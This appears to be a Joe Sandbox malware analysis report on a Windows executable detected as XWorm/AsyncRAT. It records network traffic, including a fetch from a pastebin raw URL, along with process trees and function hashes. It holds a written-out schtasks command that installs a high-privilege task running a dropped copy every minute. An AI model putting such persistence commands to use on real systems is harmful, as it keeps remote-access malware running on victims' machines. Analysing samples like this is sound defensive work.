2024-07-02 14:32:00 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:32:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	54916	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:32:00 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:32:00 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 164 Server: cloudflare CF-RAY: 89cf57bd5dc47290-EWR
2024-07-02 14:32:00 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:32:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:29:07
Start date:	02/07/2024
Path:	C:\Users\user\Desktop\s8Z4L8DY65.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\s8Z4L8DY65.exe"
Imagebase:	0x100000
File size:	83'456 bytes
MD5 hash:	347467DC90DA33E12BBAD093380324BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000000.2188465992.0000000000102000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000000.2188465992.0000000000102000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.4641687887.000000000242C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.4641687887.000000000242C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:29:12
Start date:	02/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "www.kernal" /tr "C:\ProgramData\www.kernal.exe"
Imagebase:	0x7ff720520000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:29:12
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:29:13
Start date:	02/07/2024
Path:	C:\ProgramData\www.kernal.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\www.kernal.exe
Imagebase:	0x70000
File size:	83'456 bytes
MD5 hash:	347467DC90DA33E12BBAD093380324BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\www.kernal.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\www.kernal.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:29:22
Start date:	02/07/2024
Path:	C:\ProgramData\www.kernal.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\www.kernal.exe"
Imagebase:	0x320000
File size:	83'456 bytes
MD5 hash:	347467DC90DA33E12BBAD093380324BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:29:30
Start date:	02/07/2024
Path:	C:\ProgramData\www.kernal.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\www.kernal.exe"
Imagebase:	0x440000
File size:	83'456 bytes
MD5 hash:	347467DC90DA33E12BBAD093380324BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:30:01
Start date:	02/07/2024
Path:	C:\ProgramData\www.kernal.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\www.kernal.exe
Imagebase:	0x570000
File size:	83'456 bytes
MD5 hash:	347467DC90DA33E12BBAD093380324BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:31:00
Start date:	02/07/2024
Path:	C:\ProgramData\www.kernal.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\www.kernal.exe
Imagebase:	0xaa0000
File size:	83'456 bytes
MD5 hash:	347467DC90DA33E12BBAD093380324BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:32:00
Start date:	02/07/2024
Path:	C:\ProgramData\www.kernal.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\www.kernal.exe
Imagebase:	0xd00000
File size:	83'456 bytes
MD5 hash:	347467DC90DA33E12BBAD093380324BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:33:00
Start date:	02/07/2024
Path:	C:\ProgramData\www.kernal.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\www.kernal.exe
Imagebase:	0x10000
File size:	83'456 bytes
MD5 hash:	347467DC90DA33E12BBAD093380324BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00007FFD346735BA Relevance: 4.1, Strings: 3, Instructions: 353COMMON

Download Yara Rule

Strings

B, xrefs: 00007FFD346736CD
>, xrefs: 00007FFD3467368E
SAN_^, xrefs: 00007FFD346736F1

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID: >$B$SAN_^
API String ID: 0-1219282140
Opcode ID: 987023aebc12ea0fa797df30fc5f2b6a322f8dc82d888d24bb5d86bc9b840406
Instruction ID: f5e812da16bc583d9ec5e300046a008a48ec6874057e20986b672af2bedcfdcb
Opcode Fuzzy Hash: 987023aebc12ea0fa797df30fc5f2b6a322f8dc82d888d24bb5d86bc9b840406
Instruction Fuzzy Hash: B8C13070B18B194BEB58EF68C8A57A9BBE1FF98314F14857DD04DD3291DE38A881CB41

Function 00007FFD34672529 Relevance: 3.9, Strings: 2, Instructions: 1393COMMON

Download Yara Rule

Strings

B, xrefs: 00007FFD346736CD
SAN_^, xrefs: 00007FFD346736F1

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID: B$SAN_^
API String ID: 0-464417674
Opcode ID: 62ef97e01fb3ddeb624ca4f14d0a9528b12c4f9df9989397ddbd9411f7453fc6
Instruction ID: 562be7077322fd5442ff724796d41c1daf4cc40b186d460d0b19bbed0b54a49f
Opcode Fuzzy Hash: 62ef97e01fb3ddeb624ca4f14d0a9528b12c4f9df9989397ddbd9411f7453fc6
Instruction Fuzzy Hash: 03A26170B18A194FEB58EF68C8A57B9BBE1FF99304F14457DD04ED3291DE38A8818B41

Function 00007FFD34671095 Relevance: 3.5, Strings: 2, Instructions: 957COMMON

Download Yara Rule

Strings

SAN_^, xrefs: 00007FFD346714AE
p, xrefs: 00007FFD346711FC

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID: p$SAN_^
API String ID: 0-2007507343
Opcode ID: e9fe12597be9ab0439c4d1650a1465437a0786134ca90fe6d4b65a86f2c772f4
Instruction ID: 8af91c335d0b3440473db6fb5c29dae4e3149d7cda7ee35d8c34b34ffdbecb89
Opcode Fuzzy Hash: e9fe12597be9ab0439c4d1650a1465437a0786134ca90fe6d4b65a86f2c772f4
Instruction Fuzzy Hash: BC62F461B1DA554FEB68EB6898B92F9BBD1FF99300F5441BAD04EC32D7DD28A8018341

Function 00007FFD34671C2D Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee671aad671918c1bf34e2032484ff4707b098ff6ab2560283f59660da7d09e5
Instruction ID: 1aa526801530c6bdae4116d3f3b44813e2df2207104345a3a0d297a04f8f5af1
Opcode Fuzzy Hash: ee671aad671918c1bf34e2032484ff4707b098ff6ab2560283f59660da7d09e5
Instruction Fuzzy Hash: 3051AD60B1E6C94FE796ABB848B52A57FD5EF87219B0804FFE089C7293DD5C5806C342

Function 00007FFD346711F5 Relevance: 2.9, Strings: 2, Instructions: 442COMMON

Download Yara Rule

Strings

SAN_^, xrefs: 00007FFD346714AE
p, xrefs: 00007FFD346711FC

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID: p$SAN_^
API String ID: 0-2007507343
Opcode ID: 2f3f703458a6e04caa11145b99bf401bfe7fc95de81dd7bd264b31e01ca97c6b
Instruction ID: aad5a86843320086537a193836d3a3040e4567fa395532630d2164ec79dbea30
Opcode Fuzzy Hash: 2f3f703458a6e04caa11145b99bf401bfe7fc95de81dd7bd264b31e01ca97c6b
Instruction Fuzzy Hash: C0E1A321B1DA594FEB58EB7898B93B97AD2EF99300F5444B9D14EC32D3DD28AC018741

Function 00007FFD346717A8 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 823a2af5e3b49808c055e3f32ff4fad3b44a9769f06ac3fa075869333a3f6a5f
Instruction ID: 73100bcc45942ea4bea65974241d6200468c52beb9ab767e98571dcf703753b0
Opcode Fuzzy Hash: 823a2af5e3b49808c055e3f32ff4fad3b44a9769f06ac3fa075869333a3f6a5f
Instruction Fuzzy Hash: 7B81E761B1DA554BE7A8EF6C88B52F9ABD1FFA9310F44417ED04ED33D2DD28A8418341

Function 00007FFD34670BEE Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1436d37f17a270ddaa59ab52d83fe9092306ff4e37b53189427581a9fe097e70
Instruction ID: a773a80a5c9d2658781050e0c57e60defcaf9f5a857e2441c51b4b79feaf62f8
Opcode Fuzzy Hash: 1436d37f17a270ddaa59ab52d83fe9092306ff4e37b53189427581a9fe097e70
Instruction Fuzzy Hash: 20713921B1DA9A0FE755EB6C98662F97FE1EF86210F4440BAD54DC3293DD2CAC428391

Function 00007FFD34673B2F Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 684c402e58518f13d0596e150f6a61fa2d6ec3d5194cb2d27b2926fee2903543
Instruction ID: d7139941917d2812b7a268518fb0535bf578ffb76882e52e3d50259bab605007
Opcode Fuzzy Hash: 684c402e58518f13d0596e150f6a61fa2d6ec3d5194cb2d27b2926fee2903543
Instruction Fuzzy Hash: 908176A194E7C68FD7538BB48C715957FB0AF13224B0A45EBC4C4CB0E3E61C199AC7A2

Function 00007FFD346704D0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81dc2db3253c4c0dcafcd22178a5a3399571f38162bc71d0d5948dd0bdf9aa1a
Instruction ID: 11b00385e6fca9c2f168b4e3790cc9a09b5349622303bd0f2cfb10799c3657f7
Opcode Fuzzy Hash: 81dc2db3253c4c0dcafcd22178a5a3399571f38162bc71d0d5948dd0bdf9aa1a
Instruction Fuzzy Hash: D631CB21B1DA494FE798FB6C946A6B9BBC1EF99315F0405BEE44EC3393DD58AC018341

Function 00007FFD3467216B Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecc7baf7fce285f882e309d7a58652ac244274f795bfa361fa9af34e0fc0b5ad
Instruction ID: ddb0d87bc3ef98e754b1c86ccffdd761c01f9ea3c74f5082718b4bc7b8b5320e
Opcode Fuzzy Hash: ecc7baf7fce285f882e309d7a58652ac244274f795bfa361fa9af34e0fc0b5ad
Instruction Fuzzy Hash: B8414E63F0E9DA4BF7559BA80C691B9BFE0FF16240B0840BFC699C75C3D9199805C381

Function 00007FFD34670939 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac4058fc2fd467a29ca3bd830c0ef472861ad45e5423125009e0b410fc090f9b
Instruction ID: 09b788867385f4842eba41027fb1ed5998123a8a205715545a47a8b6f5900d4d
Opcode Fuzzy Hash: ac4058fc2fd467a29ca3bd830c0ef472861ad45e5423125009e0b410fc090f9b
Instruction Fuzzy Hash: 47319271B18A1E4FEB58EBA8D8756EEBBF1FF99310F904579D009D3286DD38A8018750

Function 00007FFD34670A81 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58d5adf11187a9e18419c685b3f47a3e067ac6148aa7dc4153a93628a71101fc
Instruction ID: 1ce7008b1733382715707c693f4deb987b28f63d36b9546bb0d2d86e051a65f3
Opcode Fuzzy Hash: 58d5adf11187a9e18419c685b3f47a3e067ac6148aa7dc4153a93628a71101fc
Instruction Fuzzy Hash: 7A21A312B1CF964BF7947AB888793BA7BD1EF65701F14417AE04DC32D3DD18A9018751

Function 00007FFD346723A1 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fec94e7d503618b270528e76a9d866ee6b3ca0dbabd347c2b21ab468c5b9ec5d
Instruction ID: 6ba548553dd8538881873a319067c2ce64e5d3e41d5292bd5aa6fc6a3afcce17
Opcode Fuzzy Hash: fec94e7d503618b270528e76a9d866ee6b3ca0dbabd347c2b21ab468c5b9ec5d
Instruction Fuzzy Hash: D2213432A0EAD90FE7269B685C711E97FE0EF97210B0840FBD18AC7197C90C68068382

Function 00007FFD346724A1 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f9354ee7ec8f92871471b768c47fc8f90acf371681798b0a301883aae8da836
Instruction ID: 185abe4f72854b244ef6f002e84a0bed6e22fa377da410936fc77be0a7572252
Opcode Fuzzy Hash: 5f9354ee7ec8f92871471b768c47fc8f90acf371681798b0a301883aae8da836
Instruction Fuzzy Hash: D501227098D6595FE7659B24DCE26EB7FB8EB42310F0141BAE00AD31C2CA3C6686C751

Function 00007FFD34672258 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07337f44bdb05f039d50b6a7d3e1d789ff2ed20e792aba5d6b3139febde960b9
Instruction ID: 18cd331dd397c250f080b501bb046effc74effd7e28a51df438347cfb1d70422
Opcode Fuzzy Hash: 07337f44bdb05f039d50b6a7d3e1d789ff2ed20e792aba5d6b3139febde960b9
Instruction Fuzzy Hash: 3F01D232E09A5D4FEB50FBA8486A1FD7BE0FB54301F00006AE55DD2682EE38A9108780

Function 00007FFD34672340 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dca2d3ec6d5125dbf47dc564678b2499f4bc51ce1e5a5cc798b56e15627ae86e
Instruction ID: 053534d145fbfd10af4878be7a1d9881acd2f884cf20f0fb182f8b6cf2e0f707
Opcode Fuzzy Hash: dca2d3ec6d5125dbf47dc564678b2499f4bc51ce1e5a5cc798b56e15627ae86e
Instruction Fuzzy Hash: 1EF0A431B1880A8FEBE4EF6CD4A47A5B3E5FF98324B5045B6D44DC7249EE29EC418740

Function 00007FFD3467222D Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c2c90a41f8c3826c65d7ccd1a5bfd3ee07dcce3adf48c5ab791d2b8633627bb
Instruction ID: 85fac076ff90d07b97782113ca64312eef118cb6120424c41bb546dd6d2d6241
Opcode Fuzzy Hash: 6c2c90a41f8c3826c65d7ccd1a5bfd3ee07dcce3adf48c5ab791d2b8633627bb
Instruction Fuzzy Hash: 2E018F31F0895E4EEB54FBA884691FEBBF0EF55301F0001BAE14ED3592DE6899018741

Function 00007FFD34671DE1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0c2ef0cc899281dc9464106e46d8c4e17c4ae2b6ee349b72fea7674a76b9b98
Instruction ID: a11492215c19598900292824a276fcf653d4a0a0d40d542af7c10eee05a0570f
Opcode Fuzzy Hash: e0c2ef0cc899281dc9464106e46d8c4e17c4ae2b6ee349b72fea7674a76b9b98
Instruction Fuzzy Hash: 8C012021A0D7E10FE746AB381CA50B57FF09F9221070844BBE985CB2E3DD0C99458791

Function 00007FFD34670B68 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5edf716a7022e2a7925508748c6097c4179cd85a0f49379a3fc3fce863f5740b
Instruction ID: 7d6fcc0b5753ad1483816a80e492e53963f76da329e93b59938d288858cfb89e
Opcode Fuzzy Hash: 5edf716a7022e2a7925508748c6097c4179cd85a0f49379a3fc3fce863f5740b
Instruction Fuzzy Hash: C1E0ED61B14D1D4FEF90BBEC94593FDA6D1EB9C212B10017BD60DD3296DE2858418791

Function 00007FFD34673D7E Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18eba18780a0908f290166e912d46053c6ff9aaa76a953d6a0e858077932120d
Instruction ID: 737cc1d103f362cb5023271e747edd91e478709729312e921ba30e019f689ff6
Opcode Fuzzy Hash: 18eba18780a0908f290166e912d46053c6ff9aaa76a953d6a0e858077932120d
Instruction Fuzzy Hash: 05E0C23558890C9BCB04BBA59C141D93368FF88328F4002BAE95DC62C6EF6996648781

Non-executed Functions

Function 00007FFD346706FA Relevance: 5.1, Strings: 4, Instructions: 104COMMON

Download Yara Rule

Strings

N_^ , xrefs: 00007FFD34670772
N_^", xrefs: 00007FFD3467077A
=N_^, xrefs: 00007FFD34670701
<N_^, xrefs: 00007FFD34670801

Memory Dump Source

Source File: 00000000.00000002.4651872846.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34670000_s8Z4L8DY65.jbxd

Similarity

API ID:
String ID: <N_^$=N_^$N_^ $N_^"
API String ID: 0-2225354186
Opcode ID: b5c33f729409c43eaf962b609b594116ecd4f75b1081068dd243aae346c74272
Instruction ID: 7db09cea1a72b9c4ad8012e1c5b453d86585cb902c812ab9b0b2eff778c8e6e3
Opcode Fuzzy Hash: b5c33f729409c43eaf962b609b594116ecd4f75b1081068dd243aae346c74272
Instruction Fuzzy Hash: B331E873A4D2614BE3227BF8ACB20E73FD4DF5222D70840B6C2D8DA043ED2C64469A57

Analysis Process: www.kernal.exePID: 1836, Parent PID: 1064COMMON

Executed Functions

Function 00007FFD34670E80 Relevance: 1.2, Instructions: 1217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2283002214.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32a0c5d01a5ac3109704e2c78270a1bed9d573ee42adbadd96ca60c78be12f42
Instruction ID: 59c7296ed195a4c63999a50551a8e5f837ee6cb91682b238a69e2dcc9679df3f
Opcode Fuzzy Hash: 32a0c5d01a5ac3109704e2c78270a1bed9d573ee42adbadd96ca60c78be12f42
Instruction Fuzzy Hash: 9F32D470B18A594FE768EF6884A97BD7BD2FF99304F50457DE08EC32D6DE28A8018741

Function 00007FFD34671C2D Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2283002214.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f8928373dc0a5b3d1793d744c9e39d7d47890365e72acfe69231cff527e8ffe
Instruction ID: b2548490c812c0a1c0b8e06b9190d8c6f272e2b31f45d334c1614a7c12d408af
Opcode Fuzzy Hash: 8f8928373dc0a5b3d1793d744c9e39d7d47890365e72acfe69231cff527e8ffe
Instruction Fuzzy Hash: CD51AC60B1E6C94FE796ABB848B52A57FD5AF87219B0804FFE0C9C7293DD5C5806C342

Function 00007FFD34670E69 Relevance: 1.0, Instructions: 994COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2283002214.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
